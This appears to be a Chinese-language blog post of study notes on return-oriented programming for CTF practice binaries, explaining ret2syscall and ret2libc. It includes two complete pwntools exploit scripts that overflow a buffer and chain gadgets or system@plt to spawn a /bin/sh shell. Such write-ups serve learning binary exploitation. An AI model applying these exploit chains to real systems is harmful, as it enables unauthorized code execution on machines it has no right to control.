Return Oriented Programming

Return Oriented Programming

ret2syscall

1675095635252.png

对于我们来说,想要执行的是这一段代码,如果文件是静态编译的话,就可以直接在ida里寻找我们想构造的execve函数的汇编地址

1675095730789.png

但是我们想要构造一条完整的攻击链,从而拼凑成上述代码

1675096043803.png

我们就可以找关于pop ret的汇编地址,从而可以循环调用(0x80是执行的意思,0xb是类似于标志,表示指向execve函数)

因为是系统调用,所以篡改栈帧上自返回地址开始的一段区域为一系列 gadget 的地址,最终调用目标系统调用

1675096320833.png

寻找可用链

1675096416068.png

找到int 0x80的地址

![image-20230131003450928](C:\Users\言 午\AppData\Roaming\Typora\typora-user-images\image-20230131003450928.png)

编写exp:

from pwn import *
io = process("./ret2syscall")

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret=0x0806eb90
int_80h=0x08049421
bin_sh = 0x080BE408

payload=flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int_80h])

io.sendline(payload)
io.interactive()


ret2libc

调用system函数动态链接的过程

1675096570809.png

篡改栈帧上自返回地址开始的一段区域为一系列 gadget 的地址,最终调用 libc 中的函数获取 shell

1675096685608.png

在程序中,虽然调用了system函数,但是参数固定了,没有什么用,但是既然调用了,而且是动态加载的程序,那么程序就会在libc里加载函数,就会遵循动态链接调用的规则,去plt镜像表中找地址,所以我们构造rop链子,直接放入system的plt地址就行了。

1675096803926.png

要注意的是,我们要构造函数的地址,所以参数应该比函数地址多(如果是32位程序)4个字节的距离,因为在调用函数的时候,函数自身会执行push ebp

1675097174460.png

在pwntools工具中elf.plt["system"]可以直接寻找文件plt表中system的表象地址,elf.search(b'/bin/sh')来寻找参数地址

next()用来表示索引。

exp:

from pwn import *
io = process("./ret2libc1")


elf = ELF("./ret2libc1")
system_plt = elf.plt["system"]


bin_sh=next(elf.search(b'/bin/sh'))

payload = b'A'*112 +p32(system_plt)+b'BBBB'+p32(bin_sh)

io.send(payload)
io.interactive()

posted @ 2023-01-31 00:51  Ray言午  阅读(70)  评论(0编辑  收藏  举报